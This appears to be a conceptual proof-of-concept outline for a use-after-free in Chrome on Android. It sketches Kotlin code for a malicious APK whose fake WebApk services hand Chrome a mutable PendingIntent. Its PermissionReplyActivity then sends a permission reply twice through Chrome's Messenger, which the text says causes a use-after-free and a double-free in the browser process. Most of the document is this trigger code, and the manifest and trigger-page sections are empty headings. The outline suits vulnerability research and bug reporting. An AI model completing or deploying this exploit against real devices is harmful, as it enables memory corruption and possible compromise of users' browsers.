Conceptual outline of the malicious Android APK required to trigger the UAF.
This is documentation only — building and testing requires an Android 13+ device
and an Android-targeted ASAN build of Chrome, neither of which is available here.
============================================================
AndroidManifest.xml (key elements)
============================================================
============================================================
FakeWebApkApiService — implements IWebApkApi (AIDL stub)
============================================================
class FakeWebApkApiService : Service() {
private val binder = object : IWebApkApi.Stub() {
override fun checkNotificationPermission(): Int = PermissionStatus.ASK
override fun requestNotificationPermission(
channelName: String, channelId: String): PendingIntent {
// Hand Chrome a PendingIntent that starts our PermissionReplyActivity.
val i = Intent(this@FakeWebApkApiService, PermissionReplyActivity::class.java)
return PendingIntent.getActivity(
this@FakeWebApkApiService, 0, i,
PendingIntent.FLAG_MUTABLE or PendingIntent.FLAG_UPDATE_CURRENT)
}
override fun getSmallIconId(): Int = 0
override fun notificationPermissionEnabled(): Boolean = false
override fun notifyNotificationWithChannel(...) {}
override fun cancelNotification(...) {}
override fun finishAndRemoveTaskSdk23(): Boolean = true
}
override fun onBind(i: Intent) = binder
}
============================================================
FakeIdentityService — returns Chrome's package name
============================================================
class FakeIdentityService : Service() {
private val binder = object : IWebApkIdentityService.Stub() { // or equivalent AIDL
override fun getRuntimeHostBrowserPackageName(): String = ""
}
override fun onBind(i: Intent) = binder
}
============================================================
PermissionReplyActivity — the actual trigger
============================================================
class PermissionReplyActivity : Activity() {
override fun onCreate(s: Bundle?) {
super.onCreate(s)
// Chrome attached its Messenger as EXTRA_MESSENGER ("messenger") when it
// called PendingIntent.send(..., extraIntent, ...).
val messenger: Messenger = intent.getParcelableExtra("messenger")!!
fun reply() {
val m = Message.obtain()
m.data = Bundle().apply { putInt("permissionStatus", 0 /* ALLOW */) }
messenger.send(m)
}
reply() // 1st: callback runs, native object is deleted.
reply() // 2nd: same callback_ptr → UAF + double-free in browser process.
finish()
}
}
============================================================
Trigger page (served from an origin inside the spoofed scope)
============================================================